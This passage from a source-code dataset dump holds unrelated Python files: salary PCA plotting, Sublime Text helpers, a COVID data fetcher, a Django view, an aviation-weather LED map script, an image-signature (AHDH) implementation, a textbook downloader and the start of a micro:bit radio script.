ColumnDataSource(\n data=dict(\n x = dfPol.index,\n y = dfPol['total_compensation'],\n totSal = dfPol['total_salary'],\n dept = dfPol['department'],\n totBen = dfPol['total_benefits'],\n job = dfPol['job']\n )\n )\n\nsFir = ColumnDataSource(\n data=dict(\n x = dfFir.index,\n y = dfFir['total_compensation'],\n totSal = dfFir['total_salary'],\n dept = dfFir['department'],\n totBen = dfFir['total_benefits'],\n job = dfFir['job']\n )\n )\n\nsMta = ColumnDataSource(\n data=dict(\n x = dfMta.index,\n y = dfMta['total_compensation'],\n totSal = dfMta['total_salary'],\n dept = dfMta['department'],\n totBen = dfMta['total_benefits'],\n job = dfMta['job']\n )\n )\n\np = figure(plot_width=800, plot_height=500, tools=\"hover,pan,box_zoom,reset,save\",\n title=\"SF public employee salaries\", y_axis_label = \"Total compensation\",\n x_axis_label = \"Sorted employee index\")\n\nhover = p.select(dict(type=HoverTool))\n\n\nhover.tooltips = [\n (\"Dept\", \"@dept\"),\n (\"Job\", \"@job\"),\n (\"Tot comp ($)\", \"@y\"),\n (\"Tot sal ($)\", \"@totSal\"),\n (\"Tot bnft ($)\",\"@totBen\")\n]\n\np.circle('x', 'y', size=8, legend=\"All\", source=sAll,fill_color=None, line_color=\"black\",alpha=0.2)\np.circle('x', 'y', size=8, legend=\"MTA\", source=sMta,color='blue',alpha=0.4)\np.circle('x', 'y', size=8, legend=\"SF Police\", source=sPol,color='red',alpha=0.4)\np.circle('x', 'y', size=8, legend=\"SF Fire\", source=sFir,color='orange',alpha=0.4)\n\np.legend.orientation = \"top_left\"\n\nshow(p)\n\n\n# For the second Bokeh plot, I want to do some PCA on the data. The first step is to center the data. I'm scaling it to draw out the differences in data shape. Then calculate explained variance, etc\n\n# In[13]:\n\nfrom sklearn.preprocessing import scale\nfrom sklearn.decomposition import PCA\n\ndfs = pd.DataFrame(scale(df[quantVar],with_std=True),columns=df[quantVar].columns)\n\ndfResp = dfs['total_compensation']\npred = [quantVar[i] for i in range(len(quantVar)) if quantVar[i] != 'total_compensation']\ndfPred = dfs[pred]\n\npca = PCA()\npca.fit(dfPred)\n\nexpVar = pca.explained_variance_ratio_\nplt.bar(range(len(expVar)),expVar,alpha=0.5)\n\n\n# Project the data onto the principal components.\n\n# In[14]:\n\n#New data in PC space\nnewData = pd.DataFrame(pca.transform(dfPred),columns=['PC' + str(i+1) for i in range(len(expVar))])\n\n#Keep annotations from original data. Indices should be the same.\ndfAnno = df[['total_compensation','total_salary','department','total_benefits','job','department_code']]\nnewData = pd.concat([newData, dfAnno], axis=1)\n\n#Subsets used for plotting\nnAll = newData \nnPol = newData[newData['department_code']=='POL']\nnFir = newData[newData['department_code']=='FIR']\nnMta = newData[newData['department_code']=='MTA'] \n\n\n# Now, let's visualize the data using principal components.\n\n# In[15]:\n\nfrom bokeh.plotting import figure, output_file, show, ColumnDataSource, output_notebook\nfrom bokeh.models import HoverTool, Select\nfrom bokeh.io import output_file, show, vform\nfrom bokeh.models.widgets import CheckboxGroup\nfrom bokeh.resources import CDN\nfrom bokeh.embed import file_html\n\noutput_notebook()\n\n#output_file(\"salarySF.html\")\n\ncheckbox_group = CheckboxGroup(\n labels=[\"Option 1\", \"Option 2\", \"Option 3\"], active=[0, 1])\n\n\n#Not creative enough. I think I could just make a new source for each dept...\nsAll = ColumnDataSource(\n data=dict(\n x = nAll['PC1'],\n y = nAll['PC2'],\n totSal = nAll['total_salary'],\n totCom = nAll['total_compensation'],\n dept = nAll['department'],\n totBen = nAll['total_benefits'],\n job = nAll['job']\n )\n )\n\nsPol = ColumnDataSource(\n data=dict(\n x = nPol['PC1'],\n y = nPol['PC2'],\n totSal = nPol['total_salary'],\n totCom = nPol['total_compensation'],\n dept = nPol['department'],\n totBen = nPol['total_benefits'],\n job = nPol['job']\n )\n )\n\nsFir = ColumnDataSource(\n data=dict(\n x = nFir['PC1'],\n y = nFir['PC2'],\n totSal = nFir['total_salary'],\n totCom = nFir['total_compensation'],\n dept = nFir['department'],\n totBen = nFir['total_benefits'],\n job = nFir['job']\n )\n )\n\nsMta = ColumnDataSource(\n data=dict(\n x = nMta['PC1'],\n y = nMta['PC2'],\n totSal = nMta['total_salary'],\n totCom = nMta['total_compensation'],\n dept = nMta['department'],\n totBen = nMta['total_benefits'],\n job = nMta['job']\n )\n )\n\np = figure(plot_width=800, plot_height=500, tools=\"hover,pan,box_zoom,reset,save\",\n title=\"SF public employee salaries\", y_axis_label = \"Principal Component 2\",\n x_axis_label = \"Principal Component 1\")\n\nhover = p.select(dict(type=HoverTool))\n\n\nhover.tooltips = [\n (\"Dept\", \"@dept\"),\n (\"Job\", \"@job\"),\n (\"Tot comp ($)\", \"@totCom\"),\n (\"Tot sal ($)\", \"@totSal\"),\n (\"Tot bnft ($)\",\"@totBen\")\n]\n\np.circle('x', 'y', size=8, legend=\"All\", source=sAll,fill_color=None, line_color=\"black\",alpha=0.4)\np.circle('x', 'y', size=8, legend=\"MTA\", source=sMta,color='blue',alpha=0.4)\np.circle('x', 'y', size=8, legend=\"SF Police\", source=sPol,color='red',alpha=0.4)\np.circle('x', 'y', size=8, legend=\"SF Fire\", source=sFir,color='orange',alpha=0.4)\n\np.legend.orientation = \"bottom_left\"\n\n#html = file_html(p, CDN, \"my plot\")\n\nshow(p)\n\n\n# So, as before, the Fire Department has a higher total compensation. This is reflected by the rightward skew of the orange dots (higher in PC1). Looks like PC2 is separating the Fire Department from another high pay group above. Let's look at the loadings to see what is driving this difference.\n\n# In[16]:\n\npca.components_[range(2)]\n\n\n# Looking at the PCA scores between PCA 1 and 2 shows that the 3rd, 4th entry are quite different between the PCs. Let's take a look at what they are.\n\n# In[17]:\n\ndfPred.head()\n\n\n# The loadings show us that the SF fire department has a generally higher total compensation, with relatively less overtime and other salary.\n","sub_path":"dataInc/dataIncChallenge/q3_scrapeSalary.py","file_name":"q3_scrapeSalary.py","file_ext":"py","file_size_in_byte":9889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"579286181","text":"\"\"\"\nUtilities for parsing text position in python code, through AST,\nand returning a test class/method name.\n\"\"\"\nfrom __future__ import print_function\n\nimport sublime\n\nfrom ..test_parser import TestParser\n\n\ndef DEBUG(value=None):\n settings = sublime.load_settings(\"SublimeTestPlier.sublime-settings\")\n if value is None:\n return settings.get('debug', False)\n\n settings['debug'] = value\n settings = sublime.save_settings(\"SublimeTestPlier.sublime-settings\")\n\n\ndef _log(*args, **kwargs):\n \"\"\"\n >>> DEBUG()\n False\n >>> _log(\"Test\")\n\n >>> _log(\"Test\", debug=True)\n Test\n\n >>> DEBUG(value=True)\n >>> _log(\"Test\")\n Test\n \"\"\"\n if not kwargs.get('debug', DEBUG()):\n return\n print(*args)\n\n\ndef get_first_selection(view):\n view.settings().set('__vi_external_disable', True)\n selection = list(view.sel())\n view.settings().set('__vi_external_disable', False)\n if not selection:\n # cursor not in view\n return None\n\n _log(\"Selection: %s\" % selection)\n\n # get first selection region\n return selection[0]\n\n\ndef get_selection_content(view):\n # return selected region as string if non-empty\n r = get_first_selection(view)\n selected_string = view.substr(r)\n _log(\"selected string: \", selected_string)\n if selected_string.strip():\n _log(\"Selection: %s (%s)\" % (selected_string, r))\n return selected_string\n\n\ndef get_test(view):\n \"\"\"\n This helper method which locates a cursor/region in given view\n and returns selected/containing test class/method.\n \"\"\"\n r = get_first_selection(view)\n if r is None:\n _log(\"No selection found: \", r)\n return\n\n # try to detect if r is inside class/method\n source = view.substr(sublime.Region(0, view.size()))\n _log(\"source is: \", source)\n line, col = view.rowcol(int(r.a))\n line = line + 1\n assert line, ('No line found in region: %s' % r)\n _log('Position in code -> line %s' % line)\n\n parser = TestParser(source, debug=DEBUG(), ignore_bases=['object'])\n class_name, method_name = parser.parse(line)\n _log('Found class/name: %s/%s' % (class_name, method_name))\n return class_name, method_name\n","sub_path":"utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"329910833","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 11 16:22:13 2020\n\n@author: Takano\n\"\"\"\n\nimport datetime\nimport requests\nimport pandas as pd\n\nfilename = 'daily_positive_detail'\nurl = 'https://raw.githubusercontent.com/tokyo-metropolitan-gov/covid19/development/data/daily_positive_detail.json'\nexectime = datetime.datetime.now().strftime('%Y%m%d%H%M')\n\n## 東京都のCOVID-9 のデータを取得\nres = requests.get(url)\n\n## dictからdataframeに変換\nd = res.json()\ndf = pd.DataFrame.from_dict(d['data'])\n\n## 累計合計を取得\ndf['missing_count_cumsum'] = df['missing_count'].transform(pd.Series.cumsum) \ndf['reported_count'] = df['reported_count'].transform(pd.Series.cumsum) \n\n## CSV ファイルに書き出し\ndf.to_csv(filename + exectime + '.csv')\n\n\n","sub_path":"requestcsv_dayly_positive_detail.py","file_name":"requestcsv_dayly_positive_detail.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"458523212","text":"from django.shortcuts import render,redirect\nimport datetime\nfrom django.utils import translation\nimport locale\nfrom django.core.exceptions import ObjectDoesNotExist\n\n\ndef get_week(week):\n today=datetime.datetime.now()\n days={}\n day_number=0\n\n while len(days)<7*week:\n day=datetime.datetime.today()\n delta_day=datetime.timedelta(days=day_number)\n day=day+delta_day\n days[day_number]=day\n day_number+=1\n content={'days':days,'today':today}\n return content\n\ndef guide(request):\n return render(request,'guide/guide.html',get_week(1))\n","sub_path":"guide/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"114787367","text":"from urllib.request import urlopen\nimport xml.etree.ElementTree as ET\nimport time\n#from neopixel import *\nimport sys\nimport os\nimport forecastio\n\n# DarkSky API Key\nDARKSKY_API_KEY = \"\"\n\n# time to sleep between refreshing the visibilty data and updating the LEDs\nSLEEP_TIME = 3600\n\n# LED strip configuration\nLED_COUNT = 50 # number of LED pixels\nLED_PIN = 18 # GPIO pin connected to the pixels (18 uses PWM!)\n#LED_PIN = 10 # GPIO pin connected to the pixels (10 uses SPI /dev/spidev0.0).\nLED_FREQ_HZ = 10 # LED signal frequecy in hertz (usually 800khz)\nLED_DMA = 5 # DMA channel to use for generating signal (try 5)\nLED_INVERT = False # True to invert the signal (when using NPN transistor level shift)\nLED_CHANNEL = 0 # set to 1 for GPIOs 13, 19, 41, 45, or 53\n#LED_STRIP = ws.WS2811_STRIP_GRB # strip type and colour ordering\n\n# AWC (Aviation Weather Center) doesn't provide VFR/IFR forecasts for many of\n# the small airports we're interested in\n# so instead we're going to determine this manually using current visibility\n# provided by the Dark Sky API\n# These variables can be changed in order to change the IFR/VFR calculation\n# These are in miles\nVFR_MIN = 5\nMVFR_MIN = 3\nIFR_MIN = 1\n\n# LED colors\nLED_MODIFIER = 1 # set to 0 for darkest and 255 for brighest\nLED_CALC_MODIFIER = 0.5 # LEDs will use the same colors for DarkSky and AWC forecasts,\n # with brightness used to differentiate\nVFR_GREEN = 255\nVFR_RED = 0\nVFR_BLUE = 0\nMVFR_GREEN = 0\nMVFR_RED = 0\nMVFR_BLUE = 255\nIFR_GREEN = 0\nIFR_RED = 255\nIFR_BLUE = 255\nNO_REPORT_GREEN = 255 \nNO_REPORT_RED = 255\nNO_REPORT_BLUE = 255\n\"\"\"\nVFR_COLOR = Color(VFR_GREEN * LED_MODIFIER, VFR_RED * LED_MODIFIER, VFR_BLUE * LED_MODIFIER)\nVFR_CALC_COLOR = Color(VFR_GREEN * LED_CALC_MODIFIER, VFR_RED * LED_CALC_MODIFIER, VFR_BLUE * LED_CALC_MODIFIER) \nMVFR_COLOR = Color(MVFR_GREEN * LED_MODIFIER, MVFR_RED * LED_MODIFIER, MVFR_BLUE * LED_MODIFIER)\nMVRF_CALC_COLOR = Color(MVFR_GREEN * LED_CALC_MODIFIER, MVFR_RED * LED_CALC_MODIFIER, MVFR_BLUE * LED_CALC_MODIFIER)\nIFR_COLOR = Color(IFR_GREEN * LED_MODIFIER, IFR_RED * LED_MODIFIER, IFR_BLUE * LED_MODIFIER)\nIFR_CALC_COLOR = Color(IFR_GREEN * LED_CALC_MODIFIER, IFR_RED * LED_CALC_MODIFIER, IFR_BLUE * LED_CALC_MODIFIER)\nLIFR_COLOR = Color(LIFR_GREEN * LED_MODIFIER, LIFR_RED * LED_MODIFIER, LIFR_BLUE * LED_MODIFIER)\nLIFR_CALC_COLOR = Color(LIFR_GREEN * LED_CALC_MODIFIER, LIFR_RED * LED_CALC_MODIFIER, LIFR_BLUE * LED_CALC_MODIFIER)\nNO_REPORT_COLOR = Color(NO_REPORT_GREEN, NO_REPORT_RED, NO_REPORT_BLUE)\n\"\"\"\n\nairportDict = {}\n\nclass Airport:\n def __init__(self, code, lat, lng, airportName):\n self.code = code\n self.lat = lat\n self.lng = lng\n self.name = airportName.strip()\n self.flightCategory = None\n self.isCalculated = False\n\n def print(self):\n if self.flightCategory is None:\n print(self.name + \" at \" + str(self.lat) + \", \" + str(self.lng) + \" is not reported\")\n else:\n print(self.name + \" at \" + str(self.lat) + \", \" + str(self.lng) + \" is \" + self.flightCategory)\n\ndef convert_dms_to_dd(d, m, s):\n dd = float(d) + float(m) / 60 + float(s) / 3600\n return dd\n\ndef parseCoordinates(coorString):\n parts = coorString.split(\"-\")\n coor = convert_dms_to_dd(parts[0], parts[1], parts[2][:-1])\n if parts[2].endswith(\"S\") or parts[2].endswith(\"W\"):\n return coor * -1\n else:\n return coor\n\n\ndef loadAirportConfigs():\n with open(\"airports\") as f:\n airports = f.readlines()\n\n for l in airports:\n arr = l.split(\",\")\n if \"-\" in arr[1][1:]:\n lat = parseCoordinates(arr[1])\n else:\n lat = arr[1]\n if \"-\" in arr[2][1:]:\n lng = parseCoordinates(arr[2])\n else:\n lng = arr[2]\n airportDict[arr[0]] = Airport(arr[0], lat, lng, arr[3])\n\n\ndef lookupFlightRules():\n awc_url = \"https://www.aviationweather.gov/adds/dataserver_current/httpparam?dataSource=metars&requestType=retrieve&format=xml&hoursBeforeNow=1.5&stationString=\"\n\n for key in airportDict:\n airport = airportDict[key]\n if airport.code.startswith(\"NULL\"):\n continue\n\n awc_url = awc_url + airport.code + \",\"\n\n content = urlopen(awc_url).read()\n \n root = ET.fromstring(content)\n\n for metar in root.iter(\"METAR\"):\n stationId = metar.find(\"station_id\").text\n\n if metar.find(\"flight_category\") is None:\n continue\n\n flightCategory = metar.find(\"flight_category\").text\n if airportDict[stationId] is not None:\n if airportDict[stationId].flightCategory is None:\n airportDict[stationId].flightCategory = flightCategory\n\n\ndef lookupWeatherForecasts():\n for key in airportDict:\n airport = airportDict[key]\n if airport.flightCategory is None:\n forecast = forecastio.load_forecast(DARKSKY_API_KEY, airport.lat, airport.lng)\n dataPoint = forecast.currently()\n print(airport.name + \": \" + str(dataPoint.cloudCover) + \" \" + str(dataPoint.visibility))\n if dataPoint.visibility > VFR_MIN and dataPoint.cloudCover < 0.25:\n airport.flightCategory = \"VFR\"\n elif dataPoint.visibility >= MVFR_MIN and dataPoint.cloudCover < 0.5:\n airport.flightCategory = \"MVFR\"\n elif dataPoint.visibility > IFR_MIN:\n airport.flightCategory = \"IFR\"\n else:\n airport.flightCategory = \"LIFR\"\n\n\ndef clearFlightCategories():\n for key in airportDict:\n airport = airportDict[key]\n airport.flightCategory = None\n\n\ndef lightupLeds():\n i = 0\n\n for key in airportDict:\n airport = airportDict[key]\n if airport.code == \"NULL\":\n i = i + 1\n continue\n\n color = NO_REPORT_COLOR\n\n if airport.flightCategory == \"VFR\":\n if airport.isCalculated:\n color = VFR_CALC_COLOR\n else:\n color = VFR_COLOR\n elif airport.flightCategory == \"MVFR\":\n if airport.isCalculated:\n color = MVFR_CALC_COLOR\n else:\n color = MVFR_COLOR\n elif airport.flightCategory == \"IFR\":\n if airport.isCalculated:\n color = IFR_CALC_COLOR\n else:\n color = IFR_COLOR\n elif airport.flightCategory == \"LIFR\":\n if airport.isCalculated:\n color = LIFR_CALC_COLOR\n else:\n color = LIFR_COLOR\n\n #strip.setPixelColor(i, color)\n #strip.show()\n\n i = i + 1\n\ndef printAirports():\n for key in airportDict:\n airport = airportDict[key]\n airport.print()\n\n\n# main program logic\nif __name__ == '__main__':\n # Create NeoPixel object using constants from top of program\n #strip = Adafruit_NeoPixel(LED_COUNT, LED_PIN, LED_FREQ_HZ, LED_DMA, LED_INVERT, LED_AWC_BRIGHTNESS, LED_CHANNEL, LED_STRIP)\n #strip.begin()\n\n # read the airport configuration file\n loadAirportConfigs()\n\n # start the loop\n while (True):\n # retrieve flight rules from AWC\n lookupFlightRules()\n\n # update forecasts from DarkSky\n lookupWeatherForecasts()\n\n print(\"\")\n\n # light up the LEDs\n #lightupLeds()\n\n # wait an hour and do this again\n #time.sleep(SLEEP_TIME)\n\n printAirports()\n\n # clear out the flight rules so we can retrieve forecasts as needed\n clearFlightCategories()\n\n exit()\n \n","sub_path":"custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":7752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"139639787","text":"### ©2020. Triad National Security, LLC. All rights reserved.\n### This program was produced under U.S. Government contract 89233218CNA000001 for Los Alamos National Laboratory (LANL), which is operated by Triad National Security, LLC for the U.S. Department of Energy/National Nuclear Security Administration. All rights in the program are reserved by Triad National Security, LLC, and the U.S. Department of Energy/National Nuclear Security Administration. The Government is granted for itself and others acting on its behalf a nonexclusive, paid-up, irrevocable worldwide license in this material to reproduce, prepare derivative works, distribute copies to the public, perform publicly and display publicly, and to permit others to do so.\n\n### Python implementation of Adaptive Hierarchical Density Histogram (AHDH)\n###\n### Diane Oyen\n\n\n# Standard packages\nimport argparse\nimport copy\nimport numpy as np\nimport glob\nimport time\n\n# Image packages\nfrom skimage.io import imread, imsave\nfrom skimage.filters import threshold_otsu\nimport skimage\n\n\n\nclass AdaptiveHistogram(object):\n \"\"\" Image signature generator using the Adaptive Hierarchical \n Density Histogram (AHDH) method.\n\n Args:\n n_levels (Optional[int]): number of hierarchical levels. (default 10)\n n_nonquant_levels (Optional[int]): lowest level which will use quantized relative levels (default 2)\n \"\"\"\n \n def __init__(self, n_levels=10, n_nonquant_levels=2, output_dir='./',\n save_all_images=False):\n \"\"\" Initialize the signature generator\n \"\"\"\n self.im_array = None\n\n assert type(n_levels) is int, 'n_levels should be an integer > 0'\n assert n_levels > 0, 'n_levels should be greater than 0 (%r given)' % n_levels\n self.n_levels = n_levels\n\n assert type(n_nonquant_levels) is int, 'n_nonquant_levels should be an integer'\n assert n_nonquant_levels >= 0, 'n_nonquant_levels should be at least 0 (%r given)' % n_quantized_level\n self.n_nonquant_levels = n_nonquant_levels\n\n # Make sure output_dir has the trailing slash (but don't make it root)\n if output_dir == '':\n self.output_dir = './'\n else:\n self.output_dir = output_dir + '/' \n\n self.save_all_images = save_all_images\n \n\n def generate_signature(self, fname):\n \"\"\" Generates an image signature. Paper mentions simple noise reduction \n and coordinate normalization but does not describe these steps, and so\n they are not included in this code. The returned image signature contains\n (4/3)*(4^(n_nonquant_levels) - 1) + 15*(n_levels - n_nonquant_levels) real values.\n\n Args:\n fname (string): image path\n\n Returns:\n The image signature (numpy vector)\n \"\"\"\n\n # Load image as array of binary values\n self.load_img_as_binary(fname)\n if self.im_array is None:\n return None\n\n\n # Recurse through hierarchical regions starting at level=0\n self.features = []\n regions = [[self.im_array]]\n n_pixels = np.array([len(np.where(self.im_array)[0])])\n areas = None # Not needed until quantized layers\n for level in range(self.n_levels):\n regions, n_pixels, areas = self.ahdh_extraction(regions, n_pixels, areas, level)\n\n return self.features\n\n \n ### I/O methods ###\n\n def load_img_as_binary(self, fname):\n \"\"\"\n Read in the given image and convert to binary. Return ndarray. If read fails,\n return None value.\n \"\"\"\n # Read the image into an array as gray-value\n try:\n # imread produces 2-d array with black = 0, white = 255, uint8\n self.im_array = imread(fname, as_gray=True)\n except:\n print(\"Failed to open image \" + fname)\n return\n\n # Keep the image's filename if needed\n self.im_name = fname.split('/')[-1] # strip leading path\n self.im_name = self.im_name.split('.')[0] # strip extension\n\n # Threshold to binary\n threshold = threshold_otsu(self.im_array)\n # \"less than' inverts the grascale so that\n # black (0 from imread) is foreground (True in binary)\n self.im_array = self.im_array <= threshold\n if self.save_all_images:\n self.save_image('bw_', self.im_array)\n\n\n def save_image(self, prefix, bin_array):\n \"\"\" \n Takes a binary array, inverts black/white, then saves to the given filename. \n \"\"\"\n filename = self.output_dir + '/' + prefix + self.im_name + '.png'\n imsave(filename, skimage.img_as_ubyte(np.logical_not(bin_array)),\n check_contrast=False)\n return\n\n\n def save_partition_images(self, prefix, regions, centroids):\n # Could be a better way of doing this - probably lines of subregion edges,\n # and accumulate on the full image rather than save just the region\n # Create cyan lines at the centroid\n for i, region in enumerate(regions):\n # Make sure it will be a valid image\n if region.size < 1:\n continue\n im_color = np.ones(region.shape, dtype=np.uint8) * 255 # background\n im_color[region] = 0 # foreground\n im_color = skimage.color.gray2rgb(im_color)\n cyan = [0, 255, 255]\n this_row, this_col = centroids[i]\n im_color[:, this_col] = cyan\n im_color[this_row, :] = cyan\n filename = self.output_dir + '/' + prefix + str(self.level) + '_' + str(i) + '_' + self.im_name + '.png'\n imsave(filename, im_color, check_contrast=False)\n \n\n\n ### AHDH Calculation Methods ###\n \n def ahdh_extraction(self, regions, n_pixels, areas, level):\n \"\"\"\n For the given level, calculate the feature vector of the given regions. Returns\n a vector of length 4^(level + 1) of densities, unless this is a quantized relative\n density level, in which case the vector is of length 15 representing a histogram.\n\n Args:\n regions (list of length 4^level of variable-sized ndarrays): Binary images\n n_pixels (4^level x 1 ndarray): Number of foreground pixels per region\n areas (4^level x 1 ndarray or None): Number of all pixels per region, \n or None if not yet calculated\n level (int): Which layer of the hierarchy, starts at 0\n\n Returns:\n features (4^(level+1)x1 ndarray or 15x1 ndarray): Density features for this level\n \"\"\"\n # Need to ensure there is some value for new_areas, even if it is None\n new_areas = areas\n if areas is not None:\n # Flatten areas array before starting level\n areas = areas.flatten()\n\n # Get the subregions\n regions_flat = [item for sublist in regions for item in sublist]\n all_subregions = [self.get_subregions(x) for x in regions_flat]\n\n # Count foreground pixels\n new_n_pixels = np.array([self.count_foreground(x) for x in all_subregions])\n\n # Calculate densities\n densities = self.calc_densities(new_n_pixels, n_pixels)\n \n # Check if this should be quantized relative densities\n if level >= self.n_nonquant_levels:\n # Need region-level areas if this is the first quant level\n if areas is None:\n areas = np.array([x.size for x in regions_flat])\n\n # Get areas of subregions\n new_areas = np.array([self.calc_areas(x) for x in all_subregions])\n\n # Quantize relative densities\n scale_densities = densities * areas[:, None]\n rel_densities = scale_densities >= new_areas\n # Make histogram of quantized code words\n region_features = self.count_codes(rel_densities)\n else:\n region_features = densities.flatten()\n\n self.features.extend(region_features)\n \n \n # Recurse on the subregions (actually using loop rather than recursion)\n return all_subregions, new_n_pixels.flatten(), new_areas\n\n\n def find_centroid(self, region):\n \"\"\"\n Calculates the centroid (row, col) of the image based\n on locations of foreground pixels\n \"\"\"\n rows, cols = np.where(region)\n # If empty, just use the middle as the centroid\n if (len(rows) < 1):\n centroid_row, centroid_col = [int(x/2) for x in region.shape]\n else:\n centroid_row = int(np.mean(rows))\n centroid_col = int(np.mean(cols))\n \n return (centroid_row, centroid_col)\n\n\n def get_subregions(self, region):\n \"\"\"\n For the given region, find the centroid and return the slices associated\n with the four new regions based on the centroid.\n \"\"\"\n row, col = self.find_centroid(region)\n region1 = region[:row, :col]\n region2 = region[:row, col:]\n region3 = region[row:, :col]\n region4 = region[row:, col:]\n \n return [region1, region2, region3, region4]\n\n\n def count_foreground(self, subregions):\n \"\"\"\n For the given list of subregions, count the number of foreground pixels.\n Returns a numpy vector of same length as the number of subregions.\n \"\"\"\n n_foreground_pixels = np.array([len(np.where(x)[0]) for x in subregions])\n return n_foreground_pixels\n\n \n def calc_densities(self, n_subregion, n_region):\n \"\"\"\n Calculate the [subregion number of foreground pixels] / [region number of\n foreground pixels] for each subregion. In the case that the region has 0\n foreground pixels, the density for all of the associated subregions is 1.\n\n Args\n n_subregion (4^level x 4 ndarray): Number of foreground pixels per subregion,\n where each row is a set of subregions sharing the same parent region\n n_region (4^level x 1 ndarray): Number of foreground pixels per region\n\n Return\n densities (4^level x 4 ndarray)\n \"\"\"\n # Div by zero is handled, so don't need the warning\n np.seterr(divide='ignore', invalid='ignore')\n\n # Divide number of foreground pixels in each row of 4 subregions by the\n # number of foreground pixels of the previous level region\n densities = n_subregion / n_region[:, None]\n \n # Handle the div by zero cases so that 0/0 = 1 for densities\n # Otherwise, we would get codeword 0000, which the paper disallows\n inds = np.where(n_region==0)[0]\n densities[inds, :] = 1\n\n return densities\n\n\n def calc_areas(self, subregions):\n \"\"\"\n Get the area (total number of pixels) of each of the given subregions.\n \"\"\"\n areas = np.array([x.size for x in subregions])\n return areas\n \n \n def count_codes(self, rel_densities):\n \"\"\"\n Each row of rel_densities is treated as a codeword. The frequency of codewords\n is tabulated (with 15 possible codewords, because 0b0000 is not possible). The \n returned code_count values are real values between 0 and 1.\n\n Args\n rel_densities (binary 4^levelx4 ndarray): The quantized relative densities\n \n Return\n code_count (real 15x1 ndarray): Histogram of code [0b0001 - 0b1111] frequency\n \"\"\"\n \n code_dict = {(False,False,False, True): 0,\n (False,False, True,False): 1,\n (False,False, True, True): 2,\n (False, True,False,False): 3,\n (False, True,False, True): 4,\n (False, True, True,False): 5,\n (False, True, True, True): 6,\n ( True,False,False,False): 7,\n ( True,False,False, True):\t8,\n ( True,False, True,False):\t9,\n ( True,False, True, True):\t10,\n ( True, True,False,False):\t11,\n ( True, True,False, True):\t12,\n ( True, True, True,False):\t13,\n ( True, True, True, True):\t14}\n\n codes = np.array([code_dict[tuple(x)] for x in rel_densities])\n code_count = np.zeros(len(code_dict))\n for i in range(len(code_dict)):\n code_count[i] = len(np.where(codes==i)[0])\n return code_count / len(rel_densities)\n\n\n\n### Script for running demo ###\n\ndef get_args():\n \"\"\"\n Defines commandline arguments.\n \"\"\"\n parser = argparse.ArgumentParser(description='Read labels from patent figures.')\n parser.add_argument('--image_path', type=str, default='./',\n help='All images in path will be processed [default=./]')\n parser.add_argument('--image_list', type=str, default=None,\n help='If given, process only listed images (1st column of text file from image_path')\n parser.add_argument('--output', type=str, default='output',\n help='Result table save to [OUTPUT_DIR]/[OUTPUT].csv [default=output]')\n parser.add_argument('--save_all_images', action='store_true', default=False,\n help='If enabled, all intermediate processing steps will be saved as images to OUTPUT_DIR')\n parser.add_argument('--output_dir', type=str, default='./',\n help='Directory to store results in [default=./]')\n # Algorithm parameters\n parser.add_argument('--n_levels', type=int, default=10,\n help='Number of hierarchy levels [default=10]')\n parser.add_argument('--n_nonquant_levels', type=int, default=2,\n help='All levels >= n_nonquant_levels will be quantized [default=2]')\n\n return parser.parse_args()\n \n\ndef main():\n args = get_args()\n\n if args.image_list is None:\n img_fnames = glob.glob(args.image_path + '/*')\n else:\n with open(args.image_list) as f_in:\n img_fnames = [args.image_path + '/' + line.split()[0] for line in f_in]\n\n im_sig = AdaptiveHistogram(args.n_levels, args.n_nonquant_levels,\n save_all_images=args.save_all_images)\n\n # Calculation is slow, so save each hash as it calculated\n with open(args.output_dir + '/' + args.output + '.csv', 'w') as f:\n print(time.asctime(), \"Start processing \", len(img_fnames), \" images\")\n start = time.time()\n count = 0\n for fname in img_fnames:\n features = im_sig.generate_signature(fname)\n if features is None:\n print('No features found for ' + fname)\n continue\n features_str_array = [str(x) for x in features]\n f.write(fname + ',' + ','.join(features_str_array) + '\\n')\n count += 1\n\n end = time.time()\n print(time.asctime(), 'Done processing', count, 'images in', end-start, 'seconds')\n \n\nif __name__ == \"__main__\":\n # execute only if run as a script\n main()\n","sub_path":"ahdh.py","file_name":"ahdh.py","file_ext":"py","file_size_in_byte":15068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"554073368","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat May 2 10:59:24 2020\r\n\r\n@author: Administrator\r\n\"\"\"\r\n\r\nimport os\r\nimport requests\r\nimport pandas as pd\r\nfrom tqdm import tqdm\r\n\r\ncwd = os.getcwd()\r\nbooks = pd.read_excel(os.path.join(cwd,'Free+English+textbooks.xlsx'))\r\nprint('Download started.')\r\n\r\nfor url, title, author, pk_name in tqdm(books[['OpenURL', 'Book Title', 'Author', 'English Package Name']].values):\r\n\r\n r = requests.get(url)\r\n new_url = r.url\r\n\r\n new_url = new_url.replace('/book/','/content/pdf/')\r\n new_url = new_url.replace('%2F','/')\r\n new_url = new_url + '.pdf'\r\n\r\n final = new_url.split('/')[-1]\r\n final = title.replace(',','-').replace('.','').replace('/',' ') + '__' + author.replace(', ','+').replace('.','').replace('/',' ') + '.pdf'\r\n\r\n dir = os.path.join(cwd,pk_name)\r\n if not os.path.exists(dir):\r\n os.mkdir(dir)\r\n\r\n myfile = requests.get(new_url, allow_redirects=True)\r\n open(os.path.join(dir,final), 'wb').write(myfile.content)\r\n\r\nprint('Download finished.')","sub_path":"download_books.py","file_name":"download_books.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"468828739","text":"from microbit import uart, display, Image, temperature, sleep\nimport radio\n\nradio.config(group=199)\nradio.on()\nmsg_receive = radio.receive()\nuart.init(baudrate=115200)\n\nWaiting_Time = 0\nTime_Out = 300 # Set Time Out 3 